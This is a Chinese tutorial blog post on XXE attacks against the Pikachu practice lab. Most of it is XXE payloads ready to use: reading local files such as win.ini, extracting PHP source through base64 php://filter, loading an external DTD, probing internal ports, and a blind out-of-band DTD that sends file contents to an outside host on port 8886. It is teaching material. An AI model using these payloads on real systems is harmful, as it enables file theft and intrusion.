pikachu-XXE漏洞

这里我们来学习一下pickchu靶场的漏洞

我们在这一节需要掌握什么是xxe,具体请自行收集材料,博主也不清楚

但网站如果存在xxe漏洞的话,我们可以如下利用

一·、最简单的攻击

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe "你看我漂亮吗?" > ]>
<foo>&xxe;</foo>

它会回显xxe元素中的内容。

二、查看文件

当你的元素内容是一个file协议,即可在回显处显示内容

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]>
<foo>&xxe;</foo>

三、查看源码

众所周知php文件是不在前端显示的,如果我们想看怎么办呢

这就需要神奇的base64编码出场了,加码调用解码即可观看秘密文件哦!

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=D:/phpstudy_pro/WWW/pikachu-master/vul/rce/rce.php" > ]>
<foo>&xxe;</foo>

有需要请自行前往在线解码网站

四、外部调用

这是一个外部dtd文件

<!ENTITY evil SYSTEM "file:///c:/windows/system.ini">
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini">

连接到dtd文件即可调用文件内容

<!DOCTYPE foo 
[<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://127.0.0.1/evil.dtd">
%xxe;
]>
<foo>&evil;</foo>

五、探测内网存活主机与开放端口

访问一个端口,如果开启则无延迟若为开启则网页会不断读取

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ 
<!ELEMENT foo ANY>
<!ENTITY rabbit SYSTEM "http://127.0.0.1:80">
]>
<x>&rabbit;</x>	

六、无回显探测

以上探测为网站有回显时的语句,那么一个网站若是没有回显我们该如何处理呢?

我们应该首先搞一个服务器然后把文件我们输入的数据指向我们的服务器

如这是一个外置dtd文件

<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://192.168.177.142:8886/?%file;'>">
%start;

这是我们要提交的数据

<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://127.0.0.1/text.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.php">
%remote;
%send;]>

再搞个服务器不断接受8886端口的数据

你只要提交就可以获得被加码的数据然后自行解码即可!接下来就是实战了,去找几个靶机吧

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值